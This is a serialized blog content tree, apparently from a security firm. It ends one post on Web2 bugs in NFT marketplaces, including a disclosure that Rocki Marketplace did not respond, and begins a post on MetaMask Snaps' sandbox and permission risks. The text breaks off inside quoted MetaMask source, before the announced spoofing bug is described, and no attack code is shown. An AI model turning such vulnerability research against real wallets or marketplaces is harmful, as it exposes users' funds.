third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":34344,"children":34345},{},[34346],{"type":28,"value":34347},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":34349,"props":34350,"children":34351},"h1",{"id":1800},[34352],{"type":28,"value":1803},{"type":23,"tag":24,"props":34354,"children":34355},{},[34356],{"type":28,"value":34357},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":34359,"children":34360},{},[34361],{"type":28,"value":34362},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":70,"props":34364,"children":34366},{"id":34365},"disclaimer",[34367],{"type":28,"value":34368},"Disclaimer",{"type":23,"tag":24,"props":34370,"children":34371},{},[34372],{"type":28,"value":34373},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":1815,"props":34375,"children":34376},{},[34377],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":34379},[34380,34383,34389,34393,34394],{"id":27996,"depth":540,"text":27999,"children":34381},[34382],{"id":1894,"depth":555,"text":1897},{"id":30188,"depth":540,"text":30218,"children":34384},[34385,34386,34387,34388],{"id":30237,"depth":555,"text":30240},{"id":30302,"depth":555,"text":30305},{"id":33127,"depth":555,"text":33130},{"id":33417,"depth":555,"text":33420},{"id":33762,"depth":540,"text":33765,"children":34390},[34391,34392],{"id":33784,"depth":555,"text":33787},{"id":33834,"depth":555,"text":33837},{"id":33918,"depth":540,"text":33924},{"id":34365,"depth":540,"text":34368},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":34399,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34400,"description":34401,"author":34402,"image":34403,"date":34405,"isFeatured":16,"onBlogPage":16,"body":34406,"_type":1838,"_id":39418,"_source":1840,"_file":39419,"_stem":39420,"_extension":1843},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[12,13],{"src":34404,"height":12603,"width":12604},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":34407,"toc":39399},[34408,34412,34417,34422,34427,34433,34438,34444,34457,34462,34467,34474,34506,34512,34517,34535,34542,34548,34562,34568,34588,34852,34880,34886,34905,35291,35310,35323,35641,35662,35933,35938,35944,35949,35962,35967,35980,36239,36283,36296,36302,36316,36322,36328,36341,36378,36384,36404,36514,36541,36547,36565,36578,36584,36589,36607,36718,36723,36744,36757,36774,36874,36900,36917,37039,37065,37077,37082,37088,37094,37099,37122,37127,37132,37138,37144,37171,37574,37601,37628,37634,37665,37974,37993,37998,38023,38036,38042,38069,38363,38399,38417,38422,38457,38462,38466,38471,38478,38483,38510,39287,39307,39311,39332,39381,39385,39390,39395],{"type":23,"tag":70,"props":34409,"children":34410},{"id":17937},[34411],{"type":28,"value":17940},{"type":23,"tag":24,"props":34413,"children":34414},{},[34415],{"type":28,"value":34416},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":34418,"children":34419},{},[34420],{"type":28,"value":34421},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":34423,"children":34424},{},[34425],{"type":28,"value":34426},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":70,"props":34428,"children":34430},{"id":34429},"sandbox-security",[34431],{"type":28,"value":34432},"Sandbox Security",{"type":23,"tag":24,"props":34434,"children":34435},{},[34436],{"type":28,"value":34437},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":82,"props":34439,"children":34441},{"id":34440},"permission-based-security",[34442],{"type":28,"value":34443},"Permission-based security",{"type":23,"tag":24,"props":34445,"children":34446},{},[34447,34449,34455],{"type":28,"value":34448},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":56,"props":34450,"children":34452},{"className":34451},[],[34453],{"type":28,"value":34454},"snap.manifest.json",{"type":28,"value":34456}," file and can be critical to security.",{"type":23,"tag":24,"props":34458,"children":34459},{},[34460],{"type":28,"value":34461},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":34463,"children":34464},{},[34465],{"type":28,"value":34466},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":34468,"children":34469},{},[34470],{"type":23,"tag":126,"props":34471,"children":34473},{"alt":7,"src":34472},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":350,"props":34475,"children":34476},{},[34477,34495],{"type":23,"tag":45,"props":34478,"children":34479},{},[34480,34486,34487,34493],{"type":23,"tag":56,"props":34481,"children":34483},{"className":34482},[],[34484],{"type":28,"value":34485},"snap_getBip44Entropy",{"type":28,"value":430},{"type":23,"tag":56,"props":34488,"children":34490},{"className":34489},[],[34491],{"type":28,"value":34492},"snap_getBip32Entropy",{"type":28,"value":34494}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":45,"props":34496,"children":34497},{},[34498,34504],{"type":23,"tag":56,"props":34499,"children":34501},{"className":34500},[],[34502],{"type":28,"value":34503},"endowment:transaction-insight",{"type":28,"value":34505}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":82,"props":34507,"children":34509},{"id":34508},"snap-execution-environment",[34510],{"type":28,"value":34511},"Snap execution environment",{"type":23,"tag":24,"props":34513,"children":34514},{},[34515],{"type":28,"value":34516},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":41,"props":34518,"children":34519},{},[34520,34525,34530],{"type":23,"tag":45,"props":34521,"children":34522},{},[34523],{"type":28,"value":34524},"An isolated iframe",{"type":23,"tag":45,"props":34526,"children":34527},{},[34528],{"type":28,"value":34529},"LavaMoat",{"type":23,"tag":45,"props":34531,"children":34532},{},[34533],{"type":28,"value":34534},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":34536,"children":34537},{},[34538],{"type":23,"tag":126,"props":34539,"children":34541},{"alt":7,"src":34540},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":82,"props":34543,"children":34545},{"id":34544},"isolated-iframe-layer-1",[34546],{"type":28,"value":34547},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":34549,"children":34550},{},[34551,34553,34560],{"type":28,"value":34552},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":92,"props":34554,"children":34557},{"href":34555,"rel":34556},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[96],[34558],{"type":28,"value":34559},"Iframe",{"type":28,"value":34561}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":17874,"props":34563,"children":34565},{"id":34564},"the-framework-metamask-extension-repo",[34566],{"type":28,"value":34567},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":34569,"children":34570},{},[34571,34573,34579,34581,34587],{"type":28,"value":34572},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":56,"props":34574,"children":34576},{"className":34575},[],[34577],{"type":28,"value":34578},"metamask-controller.js",{"type":28,"value":34580}," file. Here's a glimpse of the relevant ",{"type":23,"tag":92,"props":34582,"children":34585},{"href":34583,"rel":34584},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[96],[34586],{"type":28,"value":56},{"type":28,"value":3472},{"type":23,"tag":494,"props":34589,"children":34593},{"className":34590,"code":34591,"language":34592,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[34594],{"type":23,"tag":56,"props":34595,"children":34596},{"__ignoreMap":7},[34597,34605,34613,34633,34681,34716,34733,34741,34783,34790,34797,34805,34833,34845],{"type":23,"tag":504,"props":34598,"children":34599},{"class":506,"line":507},[34600],{"type":23,"tag":504,"props":34601,"children":34602},{"style":1106},[34603],{"type":28,"value":34604},"// Import snaps-controllers\n",{"type":23,"tag":504,"props":34606,"children":34607},{"class":506,"line":540},[34608],{"type":23,"tag":504,"props":34609,"children":34610},{"style":1106},[34611],{"type":28,"value":34612},"// ...\n",{"type":23,"tag":504,"props":34614,"children":34615},{"class":506,"line":555},[34616,34620,34625,34629],{"type":23,"tag":504,"props":34617,"children":34618},{"style":511},[34619],{"type":28,"value":8635},{"type":23,"tag":504,"props":34621,"children":34622},{"style":529},[34623],{"type":28,"value":34624}," snapExecutionServiceArgs",{"type":23,"tag":504,"props":34626,"children":34627},{"style":598},[34628],{"type":28,"value":648},{"type":23,"tag":504,"props":34630,"children":34631},{"style":523},[34632],{"type":28,"value":552},{"type":23,"tag":504,"props":34634,"children":34635},{"class":506,"line":633},[34636,34641,34645,34650,34654,34659,34663,34668,34672,34677],{"type":23,"tag":504,"props":34637,"children":34638},{"style":529},[34639],{"type":28,"value":34640},"  iframeUrl:",{"type":23,"tag":504,"props":34642,"children":34643},{"style":511},[34644],{"type":28,"value":30911},{"type":23,"tag":504,"props":34646,"children":34647},{"style":517},[34648],{"type":28,"value":34649}," URL",{"type":23,"tag":504,"props":34651,"children":34652},{"style":523},[34653],{"type":28,"value":526},{"type":23,"tag":504,"props":34655,"children":34656},{"style":529},[34657],{"type":28,"value":34658},"process",{"type":23,"tag":504,"props":34660,"children":34661},{"style":523},[34662],{"type":28,"value":320},{"type":23,"tag":504,"props":34664,"children":34665},{"style":529},[34666],{"type":28,"value":34667},"env",{"type":23,"tag":504,"props":34669,"children":34670},{"style":523},[34671],{"type":28,"value":320},{"type":23,"tag":504,"props":34673,"children":34674},{"style":529},[34675],{"type":28,"value":34676},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":504,"props":34678,"children":34679},{"style":523},[34680],{"type":28,"value":5720},{"type":23,"tag":504,"props":34682,"children":34683},{"class":506,"line":687},[34684,34689,34694,34698,34703,34707,34712],{"type":23,"tag":504,"props":34685,"children":34686},{"style":529},[34687],{"type":28,"value":34688},"  messenger:",{"type":23,"tag":504,"props":34690,"children":34691},{"style":511},[34692],{"type":28,"value":34693}," this",{"type":23,"tag":504,"props":34695,"children":34696},{"style":523},[34697],{"type":28,"value":320},{"type":23,"tag":504,"props":34699,"children":34700},{"style":529},[34701],{"type":28,"value":34702},"controllerMessenger",{"type":23,"tag":504,"props":34704,"children":34705},{"style":523},[34706],{"type":28,"value":320},{"type":23,"tag":504,"props":34708,"children":34709},{"style":517},[34710],{"type":28,"value":34711},"getRestricted",{"type":23,"tag":504,"props":34713,"children":34714},{"style":523},[34715],{"type":28,"value":14120},{"type":23,"tag":504,"props":34717,"children":34718},{"class":506,"line":736},[34719,34724,34729],{"type":23,"tag":504,"props":34720,"children":34721},{"style":529},[34722],{"type":28,"value":34723},"    name:",{"type":23,"tag":504,"props":34725,"children":34726},{"style":622},[34727],{"type":28,"value":34728}," 'ExecutionService'",{"type":23,"tag":504,"props":34730,"children":34731},{"style":523},[34732],{"type":28,"value":2484},{"type":23,"tag":504,"props":34734,"children":34735},{"class":506,"line":785},[34736],{"type":23,"tag":504,"props":34737,"children":34738},{"style":523},[34739],{"type":28,"value":34740},"  }),\n",{"type":23,"tag":504,"props":34742,"children":34743},{"class":506,"line":813},[34744,34749,34753,34757,34762,34766,34771,34775,34779],{"type":23,"tag":504,"props":34745,"children":34746},{"style":529},[34747],{"type":28,"value":34748},"  setupSnapProvider:",{"type":23,"tag":504,"props":34750,"children":34751},{"style":511},[34752],{"type":28,"value":34693},{"type":23,"tag":504,"props":34754,"children":34755},{"style":523},[34756],{"type":28,"value":320},{"type":23,"tag":504,"props":34758,"children":34759},{"style":529},[34760],{"type":28,"value":34761},"setupSnapProvider",{"type":23,"tag":504,"props":34763,"children":34764},{"style":523},[34765],{"type":28,"value":320},{"type":23,"tag":504,"props":34767,"children":34768},{"style":517},[34769],{"type":28,"value":34770},"bind",{"type":23,"tag":504,"props":34772,"children":34773},{"style":523},[34774],{"type":28,"value":526},{"type":23,"tag":504,"props":34776,"children":34777},{"style":511},[34778],{"type":28,"value":16673},{"type":23,"tag":504,"props":34780,"children":34781},{"style":523},[34782],{"type":28,"value":5720},{"type":23,"tag":504,"props":34784,"children":34785},{"class":506,"line":851},[34786],{"type":23,"tag":504,"props":34787,"children":34788},{"style":523},[34789],{"type":28,"value":15556},{"type":23,"tag":504,"props":34791,"children":34792},{"class":506,"line":869},[34793],{"type":23,"tag":504,"props":34794,"children":34795},{"emptyLinePlaceholder":16},[34796],{"type":28,"value":1038},{"type":23,"tag":504,"props":34798,"children":34799},{"class":506,"line":878},[34800],{"type":23,"tag":504,"props":34801,"children":34802},{"style":1106},[34803],{"type":28,"value":34804},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":504,"props":34806,"children":34807},{"class":506,"line":1221},[34808,34812,34816,34820,34824,34828],{"type":23,"tag":504,"props":34809,"children":34810},{"style":529},[34811],{"type":28,"value":34658},{"type":23,"tag":504,"props":34813,"children":34814},{"style":523},[34815],{"type":28,"value":320},{"type":23,"tag":504,"props":34817,"children":34818},{"style":529},[34819],{"type":28,"value":34667},{"type":23,"tag":504,"props":34821,"children":34822},{"style":523},[34823],{"type":28,"value":320},{"type":23,"tag":504,"props":34825,"children":34826},{"style":529},[34827],{"type":28,"value":34676},{"type":23,"tag":504,"props":34829,"children":34830},{"style":598},[34831],{"type":28,"value":34832}," =\n",{"type":23,"tag":504,"props":34834,"children":34835},{"class":506,"line":1276},[34836,34841],{"type":23,"tag":504,"props":34837,"children":34838},{"style":622},[34839],{"type":28,"value":34840},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":504,"props":34842,"children":34843},{"style":523},[34844],{"type":28,"value":866},{"type":23,"tag":504,"props":34846,"children":34847},{"class":506,"line":1285},[34848],{"type":23,"tag":504,"props":34849,"children":34850},{"style":1106},[34851],{"type":28,"value":34612},{"type":23,"tag":24,"props":34853,"children":34854},{},[34855,34857,34863,34865,34871,34873,34878],{"type":28,"value":34856},"This code is defining the ",{"type":23,"tag":56,"props":34858,"children":34860},{"className":34859},[],[34861],{"type":28,"value":34862},"snapExecutionServiceArgs",{"type":28,"value":34864}," object, which contains information required for the ",{"type":23,"tag":56,"props":34866,"children":34868},{"className":34867},[],[34869],{"type":28,"value":34870},"IframeExecutionService",{"type":28,"value":34872}," to execute snaps. The ",{"type":23,"tag":56,"props":34874,"children":34876},{"className":34875},[],[34877],{"type":28,"value":34676},{"type":28,"value":34879}," points to the location where the execution environment resides.",{"type":23,"tag":17874,"props":34881,"children":34883},{"id":34882},"executing-snaps-iframeexecutionservice-in-action",[34884],{"type":28,"value":34885},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":34887,"children":34888},{},[34889,34891,34896,34898,34904],{"type":28,"value":34890},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":56,"props":34892,"children":34894},{"className":34893},[],[34895],{"type":28,"value":34870},{"type":28,"value":34897}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":92,"props":34899,"children":34902},{"href":34900,"rel":34901},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[96],[34903],{"type":28,"value":56},{"type":28,"value":3472},{"type":23,"tag":494,"props":34906,"children":34910},{"className":34907,"code":34908,"language":34909,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[34911],{"type":23,"tag":56,"props":34912,"children":34913},{"__ignoreMap":7},[34914,34922,34951,34981,35034,35071,35078,35085,35093,35100,35107,35115,35150,35158,35214,35276,35284],{"type":23,"tag":504,"props":34915,"children":34916},{"class":506,"line":507},[34917],{"type":23,"tag":504,"props":34918,"children":34919},{"style":1106},[34920],{"type":28,"value":34921},"// Register message handlers for snap interactions\n",{"type":23,"tag":504,"props":34923,"children":34924},{"class":506,"line":540},[34925,34929,34933,34938,34942,34947],{"type":23,"tag":504,"props":34926,"children":34927},{"style":511},[34928],{"type":28,"value":16673},{"type":23,"tag":504,"props":34930,"children":34931},{"style":523},[34932],{"type":28,"value":320},{"type":23,"tag":504,"props":34934,"children":34935},{"style":529},[34936],{"type":28,"value":34937},"#messenger",{"type":23,"tag":504,"props":34939,"children":34940},{"style":523},[34941],{"type":28,"value":320},{"type":23,"tag":504,"props":34943,"children":34944},{"style":517},[34945],{"type":28,"value":34946},"registerActionHandler",{"type":23,"tag":504,"props":34948,"children":34949},{"style":523},[34950],{"type":28,"value":2439},{"type":23,"tag":504,"props":34952,"children":34953},{"class":506,"line":555},[34954,34959,34963,34968,34972,34977],{"type":23,"tag":504,"props":34955,"children":34956},{"style":622},[34957],{"type":28,"value":34958},"  `",{"type":23,"tag":504,"props":34960,"children":34961},{"style":511},[34962],{"type":28,"value":1253},{"type":23,"tag":504,"props":34964,"children":34965},{"style":529},[34966],{"type":28,"value":34967},"controllerName",{"type":23,"tag":504,"props":34969,"children":34970},{"style":511},[34971],{"type":28,"value":1263},{"type":23,"tag":504,"props":34973,"children":34974},{"style":622},[34975],{"type":28,"value":34976},":handleRpcRequest`",{"type":23,"tag":504,"props":34978,"children":34979},{"style":523},[34980],{"type":28,"value":2484},{"type":23,"tag":504,"props":34982,"children":34983},{"class":506,"line":633},[34984,34989,34993,34998,35002,35007,35011,35016,35020,35025,35029],{"type":23,"tag":504,"props":34985,"children":34986},{"style":511},[34987],{"type":28,"value":34988},"  async",{"type":23,"tag":504,"props":34990,"children":34991},{"style":523},[34992],{"type":28,"value":801},{"type":23,"tag":504,"props":34994,"children":34995},{"style":529},[34996],{"type":28,"value":34997},"snapId",{"type":23,"tag":504,"props":34999,"children":35000},{"style":598},[35001],{"type":28,"value":3472},{"type":23,"tag":504,"props":35003,"children":35004},{"style":1012},[35005],{"type":28,"value":35006}," string",{"type":23,"tag":504,"props":35008,"children":35009},{"style":523},[35010],{"type":28,"value":576},{"type":23,"tag":504,"props":35012,"children":35013},{"style":529},[35014],{"type":28,"value":35015},"options",{"type":23,"tag":504,"props":35017,"children":35018},{"style":598},[35019],{"type":28,"value":3472},{"type":23,"tag":504,"props":35021,"children":35022},{"style":1012},[35023],{"type":28,"value":35024}," SnapRpcHookArgs",{"type":23,"tag":504,"props":35026,"children":35027},{"style":523},[35028],{"type":28,"value":2064},{"type":23,"tag":504,"props":35030,"children":35031},{"style":511},[35032],{"type":28,"value":35033},"=>\n",{"type":23,"tag":504,"props":35035,"children":35036},{"class":506,"line":687},[35037,35042,35046,35051,35055,35059,35063,35067],{"type":23,"tag":504,"props":35038,"children":35039},{"style":511},[35040],{"type":28,"value":35041},"    this",{"type":23,"tag":504,"props":35043,"children":35044},{"style":523},[35045],{"type":28,"value":320},{"type":23,"tag":504,"props":35047,"children":35048},{"style":517},[35049],{"type":28,"value":35050},"handleRpcRequest",{"type":23,"tag":504,"props":35052,"children":35053},{"style":523},[35054],{"type":28,"value":526},{"type":23,"tag":504,"props":35056,"children":35057},{"style":529},[35058],{"type":28,"value":34997},{"type":23,"tag":504,"props":35060,"children":35061},{"style":523},[35062],{"type":28,"value":576},{"type":23,"tag":504,"props":35064,"children":35065},{"style":529},[35066],{"type":28,"value":35015},{"type":23,"tag":504,"props":35068,"children":35069},{"style":523},[35070],{"type":28,"value":5720},{"type":23,"tag":504,"props":35072,"children":35073},{"class":506,"line":736},[35074],{"type":23,"tag":504,"props":35075,"children":35076},{"style":523},[35077],{"type":28,"value":630},{"type":23,"tag":504,"props":35079,"children":35080},{"class":506,"line":785},[35081],{"type":23,"tag":504,"props":35082,"children":35083},{"emptyLinePlaceholder":16},[35084],{"type":28,"value":1038},{"type":23,"tag":504,"props":35086,"children":35087},{"class":506,"line":813},[35088],{"type":23,"tag":504,"props":35089,"children":35090},{"style":1106},[35091],{"type":28,"value":35092},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":504,"props":35094,"children":35095},{"class":506,"line":851},[35096],{"type":23,"tag":504,"props":35097,"children":35098},{"style":1106},[35099],{"type":28,"value":34612},{"type":23,"tag":504,"props":35101,"children":35102},{"class":506,"line":869},[35103],{"type":23,"tag":504,"props":35104,"children":35105},{"emptyLinePlaceholder":16},[35106],{"type":28,"value":1038},{"type":23,"tag":504,"props":35108,"children":35109},{"class":506,"line":878},[35110],{"type":23,"tag":504,"props":35111,"children":35112},{"style":1106},[35113],{"type":28,"value":35114},"// Execute a snap\n",{"type":23,"tag":504,"props":35116,"children":35117},{"class":506,"line":1221},[35118,35123,35128,35132,35137,35141,35146],{"type":23,"tag":504,"props":35119,"children":35120},{"style":529},[35121],{"type":28,"value":35122},"async",{"type":23,"tag":504,"props":35124,"children":35125},{"style":517},[35126],{"type":28,"value":35127}," executeSnap",{"type":23,"tag":504,"props":35129,"children":35130},{"style":523},[35131],{"type":28,"value":526},{"type":23,"tag":504,"props":35133,"children":35134},{"style":529},[35135],{"type":28,"value":35136},"snapData",{"type":23,"tag":504,"props":35138,"children":35139},{"style":523},[35140],{"type":28,"value":14311},{"type":23,"tag":504,"props":35142,"children":35143},{"style":529},[35144],{"type":28,"value":35145},"SnapExecutionData",{"type":23,"tag":504,"props":35147,"children":35148},{"style":523},[35149],{"type":28,"value":537},{"type":23,"tag":504,"props":35151,"children":35152},{"class":506,"line":1276},[35153],{"type":23,"tag":504,"props":35154,"children":35155},{"style":1106},[35156],{"type":28,"value":35157},"  // Initialize job, streams, and environment\n",{"type":23,"tag":504,"props":35159,"children":35160},{"class":506,"line":1285},[35161,35166,35170,35175,35180,35184,35189,35193,35197,35202,35206,35210],{"type":23,"tag":504,"props":35162,"children":35163},{"style":511},[35164],{"type":28,"value":35165},"  const",{"type":23,"tag":504,"props":35167,"children":35168},{"style":523},[35169],{"type":28,"value":747},{"type":23,"tag":504,"props":35171,"children":35172},{"style":529},[35173],{"type":28,"value":35174},"jobId",{"type":23,"tag":504,"props":35176,"children":35177},{"style":523},[35178],{"type":28,"value":35179}," } ",{"type":23,"tag":504,"props":35181,"children":35182},{"style":598},[35183],{"type":28,"value":601},{"type":23,"tag":504,"props":35185,"children":35186},{"style":544},[35187],{"type":28,"value":35188}," await",{"type":23,"tag":504,"props":35190,"children":35191},{"style":511},[35192],{"type":28,"value":34693},{"type":23,"tag":504,"props":35194,"children":35195},{"style":523},[35196],{"type":28,"value":320},{"type":23,"tag":504,"props":35198,"children":35199},{"style":517},[35200],{"type":28,"value":35201},"initJob",{"type":23,"tag":504,"props":35203,"children":35204},{"style":523},[35205],{"type":28,"value":526},{"type":23,"tag":504,"props":35207,"children":35208},{"style":529},[35209],{"type":28,"value":35136},{"type":23,"tag":504,"props":35211,"children":35212},{"style":523},[35213],{"type":28,"value":630},{"type":23,"tag":504,"props":35215,"children":35216},{"class":506,"line":1294},[35217,35221,35225,35230,35234,35239,35243,35247,35251,35255,35259,35264,35268,35272],{"type":23,"tag":504,"props":35218,"children":35219},{"style":511},[35220],{"type":28,"value":35165},{"type":23,"tag":504,"props":35222,"children":35223},{"style":523},[35224],{"type":28,"value":747},{"type":23,"tag":504,"props":35226,"children":35227},{"style":529},[35228],{"type":28,"value":35229},"worker",{"type":23,"tag":504,"props":35231,"children":35232},{"style":523},[35233],{"type":28,"value":576},{"type":23,"tag":504,"props":35235,"children":35236},{"style":529},[35237],{"type":28,"value":35238},"stream",{"type":23,"tag":504,"props":35240,"children":35241},{"style":523},[35242],{"type":28,"value":35179},{"type":23,"tag":504,"props":35244,"children":35245},{"style":598},[35246],{"type":28,"value":601},{"type":23,"tag":504,"props":35248,"children":35249},{"style":544},[35250],{"type":28,"value":35188},{"type":23,"tag":504,"props":35252,"children":35253},{"style":511},[35254],{"type":28,"value":34693},{"type":23,"tag":504,"props":35256,"children":35257},{"style":523},[35258],{"type":28,"value":320},{"type":23,"tag":504,"props":35260,"children":35261},{"style":517},[35262],{"type":28,"value":35263},"initEnvStream",{"type":23,"tag":504,"props":35265,"children":35266},{"style":523},[35267],{"type":28,"value":526},{"type":23,"tag":504,"props":35269,"children":35270},{"style":529},[35271],{"type":28,"value":35174},{"type":23,"tag":504,"props":35273,"children":35274},{"style":523},[35275],{"type":28,"value":630},{"type":23,"tag":504,"props":35277,"children":35278},{"class":506,"line":1302},[35279],{"type":23,"tag":504,"props":35280,"children":35281},{"style":1106},[35282],{"type":28,"value":35283},"  // ...\n",{"type":23,"tag":504,"props":35285,"children":35286},{"class":506,"line":1311},[35287],{"type":23,"tag":504,"props":35288,"children":35289},{"style":523},[35290],{"type":28,"value":884},{"type":23,"tag":24,"props":35292,"children":35293},{},[35294,35295,35300,35302,35308],{"type":28,"value":15592},{"type":23,"tag":56,"props":35296,"children":35298},{"className":35297},[],[35299],{"type":28,"value":34870},{"type":28,"value":35301}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":56,"props":35303,"children":35305},{"className":35304},[],[35306],{"type":28,"value":35307},"${controllerName}:executeSnap",{"type":28,"value":35309}," handler triggers the snap execution process.",{"type":23,"tag":17874,"props":35311,"children":35313},{"id":35312},"step-by-step-execution-from-initialization-to-iframe-creation",[35314,35316],{"type":28,"value":35315},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":92,"props":35317,"children":35320},{"href":35318,"rel":35319},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[96],[35321],{"type":28,"value":35322},"creation",{"type":23,"tag":494,"props":35324,"children":35326},{"className":34907,"code":35325,"language":34909,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[35327],{"type":23,"tag":56,"props":35328,"children":35329},{"__ignoreMap":7},[35330,35379,35400,35421,35429,35493,35500,35528,35545,35562,35579,35596,35603,35610,35634],{"type":23,"tag":504,"props":35331,"children":35332},{"class":506,"line":507},[35333,35338,35343,35348,35352,35356,35360,35364,35369,35374],{"type":23,"tag":504,"props":35334,"children":35335},{"style":529},[35336],{"type":28,"value":35337},"protected",{"type":23,"tag":504,"props":35339,"children":35340},{"style":529},[35341],{"type":28,"value":35342}," async",{"type":23,"tag":504,"props":35344,"children":35345},{"style":517},[35346],{"type":28,"value":35347}," initEnvStream",{"type":23,"tag":504,"props":35349,"children":35350},{"style":523},[35351],{"type":28,"value":526},{"type":23,"tag":504,"props":35353,"children":35354},{"style":529},[35355],{"type":28,"value":35174},{"type":23,"tag":504,"props":35357,"children":35358},{"style":523},[35359],{"type":28,"value":14311},{"type":23,"tag":504,"props":35361,"children":35362},{"style":529},[35363],{"type":28,"value":28648},{"type":23,"tag":504,"props":35365,"children":35366},{"style":523},[35367],{"type":28,"value":35368},"): ",{"type":23,"tag":504,"props":35370,"children":35371},{"style":1012},[35372],{"type":28,"value":35373},"Promise",{"type":23,"tag":504,"props":35375,"children":35376},{"style":523},[35377],{"type":28,"value":35378},"\u003C{\n",{"type":23,"tag":504,"props":35380,"children":35381},{"class":506,"line":540},[35382,35387,35391,35396],{"type":23,"tag":504,"props":35383,"children":35384},{"style":529},[35385],{"type":28,"value":35386},"    worker",{"type":23,"tag":504,"props":35388,"children":35389},{"style":598},[35390],{"type":28,"value":3472},{"type":23,"tag":504,"props":35392,"children":35393},{"style":1012},[35394],{"type":28,"value":35395}," 